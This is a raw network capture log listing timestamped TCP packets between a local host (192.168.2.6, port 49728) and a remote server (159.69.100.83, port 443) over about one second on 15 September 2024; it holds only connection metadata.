Sep 15, 2024 19:37:07.249166012 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.249212980 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.249260902 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.249272108 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.249306917 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.274755001 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.274835110 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.274877071 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.274892092 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.274915934 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.274934053 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.284388065 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.284462929 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.284506083 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.284532070 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.284548998 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.284575939 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.287528038 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.287549019 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.287626982 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.287636995 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.287720919 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.293925047 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.293963909 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.294081926 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.294081926 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.294096947 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.294190884 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.312469006 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.312490940 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.312570095 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.312586069 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.312623978 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.318819046 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.318840027 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.318907976 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.318922043 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.318959951 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.320343018 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.320358038 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.320414066 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.320421934 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.320456028 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.342164993 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.342200994 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.342236996 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.342252016 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.342274904 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.342291117 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.370822906 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.370852947 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.370919943 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.370934010 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.370948076 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.370965958 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.371587038 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.371603966 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.371654034 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.371659994 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.371694088 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.380696058 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.380724907 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.380800962 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.380815029 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.380856037 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.394057989 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.394084930 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.394222021 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.394237995 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.394268990 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.399820089 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.399843931 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.399956942 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.399969101 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.400012016 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.407469988 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.407493114 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.407613039 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.407622099 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.407668114 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.408611059 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.408628941 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.408679962 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.408688068 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.408725023 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.430948973 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.430979013 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.431101084 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.431112051 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.431147099 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.459330082 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.459357023 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.459502935 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.459517956 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.459556103 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.460199118 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.460215092 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.460273981 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.460279942 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.460328102 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.469180107 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.469208002 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.469325066 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.469336033 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.469386101 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.482439041 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.482465029 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.482570887 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.482579947 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.482620001 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.488434076 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.488451004 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.488535881 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.488543034 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.488580942 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.496501923 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.496583939 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.496670961 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.496742010 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.496783018 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.496829987 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.497499943 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.497544050 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.497596979 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.497612000 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.497639894 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.497658968 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.519666910 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.519715071 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.519804955 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.519821882 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.519849062 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.519871950 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.550527096 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.550569057 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.550725937 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.550748110 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.550817966 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.551434040 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.551460028 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.551501036 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.551506996 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.551537037 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.551556110 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.558130026 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.558163881 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.558232069 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.558247089 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.558259964 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.558279991 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.572299957 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.572331905 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.572465897 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.572491884 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.572556019 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.577358961 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.577387094 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.577436924 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.577445030 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.577461958 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.577481985 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.584985018 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.585005999 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.585064888 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.585076094 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.585110903 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.585762024 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.585783958 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.585844040 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.585849047 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.585886002 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.585886002 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.608355999 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.608386993 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.608494997 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.608511925 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.608551979 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.638904095 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.638926029 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.639075041 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.639091969 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.639137030 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.639694929 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.639710903 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.639786959 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.639792919 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.639839888 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.646651030 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.646667957 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.646763086 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.646774054 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.646809101 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.660793066 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.660815001 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.660913944 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.660928011 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.660975933 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.666018009 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.666089058 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.666172028 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.666182995 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.666225910 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.673711061 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.673732042 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.673813105 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.673820019 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.673858881 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.674460888 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.674484015 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.674539089 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.674545050 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.674587011 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.697232008 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.697253942 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.697355032 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.697367907 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.697412014 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.727668047 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.727705956 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.727777004 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.727787971 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.727847099 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.728199005 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.728215933 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.728291035 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.728306055 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.728382111 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.735532999 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.735554934 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.735637903 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.735646009 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.735822916 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.749546051 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.749568939 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.749697924 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.749710083 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.749758959 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.754698038 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.754719973 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.754827023 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.754836082 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.754874945 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.762778997 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.762804031 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.762927055 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.762936115 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.762984991 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.763644934 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.763663054 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.763752937 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.763758898 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.763793945 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.785907030 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.785938978 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.786061049 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.786092043 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.786138058 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.816186905 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.816212893 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.816390991 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.816423893 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.816478968 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.816764116 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.816783905 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.816854954 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.816868067 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.816926956 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.824812889 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.824836016 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.824989080 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.825005054 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.825062990 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.837887049 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.837909937 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.838093042 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.838109970 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.838175058 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.843219042 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.843240976 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.843429089 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.843446016 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.843508959 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.851607084 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.851624966 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.851722002 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.851738930 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.851785898 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.869255066 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.869281054 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.869415045 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.869434118 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.869479895 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.874399900 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.874422073 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.874499083 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.874514103 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.874527931 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.874548912 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.904802084 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.904827118 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.904881954 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.904901028 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.904926062 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.904949903 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.905864000 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.905883074 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.905934095 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.905940056 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.905973911 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.914952040 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.914984941 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.915030003 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.915071011 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.915085077 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.915111065 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.926682949 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.926738024 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.926754951 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.926764011 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.926791906 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.926811934 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.939568996 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.939595938 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.939640999 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.939646959 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.939672947 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.939687014 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.940495968 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.940520048 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.940570116 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.940573931 CEST	443	49728	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:07.940608025 CEST	49728	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:07.940618038 CEST	49728	443	192.168.2.6	159.69.100.83
